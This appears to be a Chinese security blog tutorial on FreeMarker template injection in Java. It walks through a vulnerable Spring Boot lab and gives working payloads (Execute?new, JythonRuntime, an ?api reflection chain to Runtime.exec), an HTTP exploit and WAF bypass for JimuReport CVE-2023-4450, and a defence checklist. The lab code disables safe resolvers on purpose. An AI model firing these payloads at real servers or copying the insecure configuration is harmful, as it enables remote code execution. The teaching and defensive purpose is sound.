上一篇通用 SSTI讲 Python/Jinja2,这篇讲 Java 侧 FreeMarker:视图解析、内存模板”遮蔽”、积木报表 CVE-2023-4450;靶场 Spring Boot 2.7.18 + FreeMarker 2.3.32。
0x01 前置:Controller return 的不是内容,是”视图名”
Java SSTI 的第一道坎,看两种写法:
@RestController // 返回值直接写进响应体
public class SafeController {
@PostMapping("/hello")
public String hello() { return "hello"; } // 页面显示字符串 "hello"
}
@Controller // 返回值被当作"逻辑视图名"
public class VulnController {
@PostMapping("/hello")
public String hello() { return "hello"; } // 触发模板渲染!
}
@Controller 下 return "hello" 交给 FreeMarkerViewResolver:prefix + 视图名 + suffix = "" + "hello" + ".ftl",再交 Configuration.getTemplate("hello.ftl") 找磁盘模板渲染。链路:
DispatcherServlet → Controller 返回 "hello"
→ ViewResolver 链 → FreeMarkerViewResolver 命中
→ 拼出 "hello.ftl" → 引擎按 TemplateLoader 加载链查找模板
→ Template.process() 渲染 → HTML 写回
本质在最后一环:引擎按”加载链”找模板,加载链顺序可编程。
0x02 靶场设计:注入点与触发点分离
靶场故意留两个接口:
POST /template:JSON{"模板名": "模板内容"}注册进内存POST /hello:只return "hello"
@PostMapping("/template")
public String template(@RequestBody Map<String, String> templates) throws IOException {
Configuration con = freeMarkerConfig.getConfiguration();
StringTemplateLoader stringLoader = new StringTemplateLoader();
for (String key : templates.keySet()) {
stringLoader.putTemplate(key, templates.get(key)); // 名字+内容全由用户控制
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{
stringLoader, // index 0: 内存(攻击者)—— 优先命中
con.getTemplateLoader() // index 1: 磁盘(正常) —— 轮不到
}));
con.clearTemplateCache(); // 清缓存,让下次查找重新走加载链
return "index";
}
”覆盖”其实是”遮蔽”(Shadowing)
磁盘 hello.ftl 一个字没改:MultiTemplateLoader 按数组顺序问子加载器,内存那份在 index 0 先命中,磁盘同名那份轮不到。
| 状态 | POST /hello 渲染结果 |
|---|---|
| 未攻击 | 磁盘 hello.ftl → 正常 Hello, Alice ! |
| 已注册同名内存模板 | 内存恶意模板 → 命令执行 |
两个验证:攻击后 src/main/resources/templates/hello.ftl 原封不动;重启应用,内存加载器随 JVM 消失,/hello 恢复正常——无持久痕迹。
0x03 新版 FreeMarker 为什么打不响:?new 与 ClassResolver
经典 payload:
{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}
打 2.3.32 会失败:2.3.23+ 用 TemplateClassResolver 限制 ?new 能实例化哪些类:
| 策略 | 行为 |
|---|---|
UNRESTRICTED_RESOLVER | 任何类都能 ?new(不设防) |
SAFER_RESOLVER | 2.3.23+ 默认,禁止 Execute / ObjectConstructor / JythonRuntime |
ALLOWS_NOTHING_RESOLVER | 几乎全禁 |
老 POC 写于限制之前,一发即中;新版默认 SAFER_RESOLVER 直接拒绝。靶场为演示把开关拨回(反面教材):
configurer.getConfiguration()
.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);
// 同时开了 ?api:configurer.getConfiguration().setAPIBuiltinEnabled(true);
真实环境两个开关默认都关,这就是防御答案(见 0x06)。
0x04 三条利用面
① ?new 实例化危险类(最省事)
{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}
?new 会 Class.forName(…, true, …) 触发类初始化、检测 TemplateModel、无参构造实例;绑给 ex 后 ${ex("cmd")} 即 Execute.exec() → Runtime.getRuntime().exec(),输出插值进页面,自带回显。
freemarker.template.utility 包下同族还有 ObjectConstructor(任意类构造器)、JythonRuntime(引 jython-standalone 即可跑 Python)。
② Jython 跑内嵌 Python
靶场 pom 引入 org.python:jython-standalone:
{"hello.ftl": "<#assign jr=\"freemarker.template.utility.JythonRuntime\"?new()><@jr>import os; os.system(\"whoami\")</@jr>"}
JythonRuntime 是 TemplateModel,<@jr> 宏把标签体当 Python 源码执行。
③ ?api 反射链(进阶,排错最多)
?api 能拿到 Java 对象的 Class,绕开模板层的反射限制。前提:setAPIBuiltinEnabled(true)(2.3.22+ 默认 false)、Model 有 Bean 起点——靶场 /hello 把 req(RequestFacade)塞进了 Model。探针:
{"hello.ftl": "req?api.class: ${req?api.class.name!\"失败\"}"}
打出 org.apache.catalina.connector.RequestFacade 即通。完整链走 classLoader,不在 Class 实例上直接调静态方法,兼容性好:
{"hello.ftl": "<#assign cl=req?api.class><#assign loader=cl.getClassLoader()><#assign rt=loader.loadClass(\"java.lang.Runtime\")><#assign m=rt.getMethod(\"getRuntime\")><#assign r=m.invoke(null)><#assign p=r.exec(\"whoami\")><#assign is=p.getInputStream()><#assign buf=\"\"><#assign b=is.read()><#while b!=-1><#assign buf=buf+b?c><#assign b=is.read()></#while>${buf}"}
排错三点:
exec返回Process不是文本,要读getInputStream()拼回;- Windows 中文乱码是 GBK/UTF-8 不一致,先跑
cmd /c chcp 65001或用纯 ASCII 命令; - 长链排错用
<#attempt>…<#recover>${.error}</#recover></#attempt>逐跳切段,别一次跑整条。
0x05 落到真实 CVE:积木报表 JimuReport CVE-2023-4450
靶场 payload 在这个 CVE 里一字不差,只是入口不同。
为什么一个”查库接口”会跑 FreeMarker
关键一句:积木报表的”动态 SQL”本就是 FreeMarker 模板——${dept}、<#if> 都是 FTL 语法,查库前会先把这段文本渲染成真 SQL:
设计者写"SQL"(实际是 FTL 模板文本)
→ FreeMarker 渲染:替换 ${dept} / 处理 <#if> → 得到真 SQL
→ JDBC 用真 SQL 查库
POST /jmreport/queryFieldBySql(设计器”返回字段列表”接口,常未授权可达)复用同一条管线——sql 字段即模板源码。
Payload
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Content-Type: application/json
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'"}
外层 select 'result:…' 是 SQL 外壳:渲染产物当一行查询结果返回,自带回显,所以常被误认为 SQL 注入——但按 SQLi 特征的黑名单拦不全,你传的是 FreeMarker 语法。官方定性 SSTI,CVSS 9.8,修复版本 jimureport-spring-boot-starter ≥ 1.6.1(2023-08-15)。
paramArray 二次渲染绕 WAF
sql 被正则盯上时有备用通道:SQL 只写 ${x} 占位,恶意 FTL 放进 paramArray 参数值——渲染时参数值被插值进模板,又触发一次渲染:
{"sql":"select '${x}'","type":"0",
"paramArray":"[{\"paramName\":\"x\",\"paramValue\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\"}]"}
识别要点:这段输入到达”目的地”前,会不会先经过模板引擎? 会就按 SSTI 测。同族接口(loadTableData、dictCodeSearch)另有 SQL 注入面——两类洞要叠着修。
JDK 17+ 的坑
命令执行在 JDK 17 仍可行,内存马/字节码注入会失败:反射 ClassLoader.defineClass 触发 InaccessibleObjectException。公开研究改用 ObjectConstructor 实例化 Spring 的 SpelExpressionParser 走 SpEL 链。
0x06 防御清单
- 治本:用户可控文本不许注册成模板(
StringTemplateLoader+ 用户内容 = 事故)或过模板引擎;视图名用固定枚举; - 治标:
newBuiltinClassResolver保持SAFER_RESOLVER或收紧到ALLOWS_NOTHING_RESOLVER;api_builtin_enabled保持默认 false; - 组件:JimuReport ≥ 1.6.1,接口加鉴权不暴露公网;
- 写文档的坑:
.ftl里展示 FTL 示例要用<#noparse>…</#noparse>包住,否则页面 500ParseException。
参考
- 原理出处:cnblogs nice_0e3《Java安全之 freemarker 模板注入》
- CVE-2023-4450 / CNVD-2023-40557 / MPS-4hzd-mb73,CVSS 9.8
- 上一篇:SSTI 模板注入:检测、利用与修复